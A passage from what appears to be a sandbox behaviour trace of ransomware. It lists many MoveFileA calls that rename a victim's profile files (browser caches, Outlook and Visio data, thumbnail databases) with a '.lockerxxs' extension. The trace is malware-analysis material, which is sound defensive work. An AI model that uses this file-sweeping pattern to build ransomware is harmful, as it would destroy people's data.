Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat.lockerxxs")) returned 1 [0081.235] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{4bd650f0-c8f9-11e7-b5bf-c43dc7584a00}.dat.lockerxxs")) returned 1 [0081.239] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat.lockerxxs")) returned 1 [0081.265] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\stream_contactprefs_2_f230e11936b7d740a008ffc660e83c71.dat.lockerxxs")) returned 1 [0081.276] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat.lockerxxs")) returned 1 [0081.281] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat.lockerxxs")) returned 1 [0081.295] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db.lockerxxs")) returned 1 [0081.303] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db.lockerxxs")) returned 1 [0081.423] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db.lockerxxs")) returned 1 [0081.427] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.lockerxxs")) returned 1 [0081.458] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db.lockerxxs")) returned 1 [0081.569] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db.lockerxxs")) returned 1 [0081.650] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db.lockerxxs")) returned 1 [0081.653] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db.lockerxxs")) returned 1 [0081.655] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db.lockerxxs")) returned 1 [0081.661] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.lockerxxs")) returned 0 [0081.665] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012020022120200222\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012020022120200222\\index.dat.lockerxxs")) returned 0 [0081.672] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat.lockerxxs")) returned 1 [0081.681] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat.lockerxxs")) returned 1 [0081.688] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.lockerxxs")) returned 0 [0081.716] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat.lockerxxs")) returned 1 [0081.728] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png.lockerxxs")) returned 1 [0081.732] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png.lockerxxs")) returned 1 [0081.734] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png.lockerxxs")) returned 1 [0081.737] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png.lockerxxs")) returned 1 [0081.740] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png.lockerxxs")) returned 1 [0081.743] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png.lockerxxs")) returned 1 [0081.746] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png.lockerxxs")) returned 1 [0081.750] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\adServer[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\adserver[1].htm.lockerxxs")) returned 1 [0081.753] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png.lockerxxs")) returned 1 [0081.758] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png.lockerxxs")) returned 1 [0081.762] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png.lockerxxs")) returned 1 [0081.765] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png.lockerxxs")) returned 1 [0081.768] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png.lockerxxs")) returned 1 [0081.771] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png.lockerxxs")) returned 1 [0081.775] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg.lockerxxs")) returned 1 [0081.778] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg.lockerxxs")) returned 1 [0081.781] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg.lockerxxs")) returned 1 [0081.784] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg.lockerxxs")) returned 1 [0081.788] 